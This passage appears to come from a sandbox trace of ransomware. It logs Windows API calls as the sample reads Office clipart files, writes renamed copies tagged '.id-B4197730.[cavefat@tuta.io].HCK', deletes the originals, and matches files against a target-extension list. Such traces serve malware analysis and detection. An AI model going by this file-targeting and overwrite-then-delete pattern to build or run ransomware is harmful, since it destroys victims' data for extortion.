lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x409f, lpOverlapped=0x0) returned 1 [0229.423] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0229.424] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.424] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.424] SetEndOfFile (hFile=0x544) returned 1 [0229.509] CloseHandle (hObject=0x544) returned 1 [0229.509] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.509] SetEndOfFile (hFile=0x548) returned 1 [0229.512] CloseHandle (hObject=0x548) returned 1 [0229.512] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.513] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0229.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.514] lstrlenW (lpString=".doc") returned 4 [0229.515] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.515] lstrlenW (lpString=".docx") returned 5 [0229.515] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0229.515] lstrlenW (lpString=".pdf") returned 4 [0229.515] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.515] lstrlenW (lpString=".xls") returned 4 [0229.515] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.515] lstrlenW (lpString=".xlsx") returned 5 [0229.515] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0229.515] lstrlenW (lpString=".ppt") returned 4 [0229.515] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.515] lstrlenW (lpString=".zip") returned 4 [0229.515] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.515] lstrlenW (lpString=".rar") returned 4 [0229.515] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.515] lstrlenW (lpString=".bz2") returned 4 [0229.515] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.515] lstrlenW (lpString=".7z") returned 3 [0229.515] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.515] lstrlenW (lpString=".dbf") returned 4 [0229.515] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.515] lstrlenW (lpString=".1cd") returned 4 [0229.515] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.515] lstrlenW (lpString=".jpg") returned 4 [0229.515] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.515] lstrlenW (lpString=".doc") returned 4 [0229.515] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.515] lstrlenW (lpString=".docx") returned 5 [0229.515] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0229.516] lstrlenW (lpString=".pdf") returned 4 [0229.516] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.516] lstrlenW (lpString=".xls") returned 4 [0229.516] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.516] lstrlenW (lpString=".xlsx") returned 5 [0229.516] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0229.516] lstrlenW (lpString=".ppt") returned 4 [0229.516] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.516] lstrlenW (lpString=".zip") returned 4 [0229.516] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.516] lstrlenW (lpString=".rar") returned 4 [0229.516] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.516] lstrlenW (lpString=".bz2") returned 4 [0229.516] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.516] lstrlenW (lpString=".7z") returned 3 [0229.516] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.516] lstrlenW (lpString=".dbf") returned 4 [0229.516] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.516] lstrlenW (lpString=".1cd") returned 4 [0229.516] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0229.516] lstrlenW (lpString=".jpg") returned 4 [0229.516] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.516] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.516] lstrlenW (lpString="J0101858.BMP") returned 12 [0229.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.517] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=32184) returned 1 [0229.517] CloseHandle (hObject=0x548) returned 1 [0229.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0229.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.518] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.518] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.519] GetLastError () returned 0x0 [0229.519] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.521] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.523] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.523] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.523] SetEndOfFile (hFile=0x544) returned 1 [0229.523] CloseHandle (hObject=0x544) returned 1 [0229.523] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.523] SetEndOfFile (hFile=0x548) returned 1 [0229.525] CloseHandle (hObject=0x548) returned 1 [0229.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.526] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0229.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.526] lstrlenW (lpString=".doc") returned 4 [0229.526] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.526] lstrlenW (lpString=".docx") returned 5 [0229.526] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0229.526] lstrlenW (lpString=".pdf") returned 4 [0229.526] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".xls") returned 4 [0229.527] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".xlsx") returned 5 [0229.527] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0229.527] lstrlenW (lpString=".ppt") returned 4 [0229.527] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".zip") returned 4 [0229.527] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".rar") returned 4 [0229.527] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".bz2") returned 4 [0229.527] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".7z") returned 3 [0229.527] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".dbf") returned 4 [0229.527] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".1cd") returned 4 [0229.527] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".jpg") returned 4 [0229.527] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".doc") returned 4 [0229.527] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".docx") returned 5 [0229.527] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0229.527] lstrlenW (lpString=".pdf") returned 4 [0229.527] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".xls") returned 4 [0229.527] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".xlsx") returned 5 [0229.527] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0229.527] lstrlenW (lpString=".ppt") returned 4 [0229.527] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".zip") returned 4 [0229.527] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".rar") returned 4 [0229.527] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".bz2") returned 4 [0229.527] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString=".7z") returned 3 [0229.527] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".dbf") returned 4 [0229.527] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.527] lstrlenW (lpString=".1cd") returned 4 [0229.528] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0229.528] lstrlenW (lpString=".jpg") returned 4 [0229.528] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.528] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.528] lstrlenW (lpString="J0101859.BMP") returned 12 [0229.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.528] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=31968) returned 1 [0229.528] CloseHandle (hObject=0x548) returned 1 [0229.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0229.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.529] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.529] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.530] GetLastError () returned 0x0 [0229.530] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0229.532] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0229.532] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.533] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0229.533] SetEndOfFile (hFile=0x544) returned 1 [0229.533] CloseHandle (hObject=0x544) returned 1 [0229.533] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.533] SetEndOfFile (hFile=0x548) returned 1 [0229.535] CloseHandle (hObject=0x548) returned 1 [0229.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0229.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0229.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.536] lstrlenW (lpString=".doc") returned 4 [0229.536] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString=".docx") returned 5 [0229.536] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0229.536] lstrlenW (lpString=".pdf") returned 4 [0229.536] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString=".xls") returned 4 [0229.536] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString=".xlsx") returned 5 [0229.536] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0229.536] lstrlenW (lpString=".ppt") returned 4 [0229.536] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.536] lstrlenW (lpString=".zip") returned 4 [0229.536] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString=".rar") returned 4 [0229.536] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString=".bz2") returned 4 [0229.536] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString=".7z") returned 3 [0229.536] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.536] lstrlenW (lpString=".dbf") returned 4 [0229.536] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.536] lstrlenW (lpString=".1cd") returned 4 [0229.536] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.536] lstrlenW (lpString=".jpg") returned 4 [0229.536] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.537] lstrlenW (lpString=".doc") returned 4 [0229.537] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString=".docx") returned 5 [0229.537] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0229.537] lstrlenW (lpString=".pdf") returned 4 [0229.537] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString=".xls") returned 4 [0229.537] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString=".xlsx") returned 5 [0229.537] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0229.537] lstrlenW (lpString=".ppt") returned 4 [0229.537] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.537] lstrlenW (lpString=".zip") returned 4 [0229.537] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString=".rar") returned 4 [0229.537] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString=".bz2") returned 4 [0229.537] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString=".7z") returned 3 [0229.537] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0229.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.537] lstrlenW (lpString=".dbf") returned 4 [0229.537] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0229.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.537] lstrlenW (lpString=".1cd") returned 4 [0229.537] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0229.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0229.537] lstrlenW (lpString=".jpg") returned 4 [0229.537] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0229.537] lstrcmpiW (lpString1=".BMP", lpString2=".HCK") returned -1 [0229.537] lstrlenW (lpString="J0101860.BMP") returned 12 [0229.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.538] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=32184) returned 1 [0229.538] CloseHandle (hObject=0x548) returned 1 [0229.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0229.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0229.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0229.539] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.539] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0229.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0229.540] GetLastError () returned 0x0 [0229.540] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0229.542] WriteFile (in: hFile=0x544, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0229.543] ReadFile (in: hFile=0x548, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0229.543] WriteFile (in: hFile=0x544, 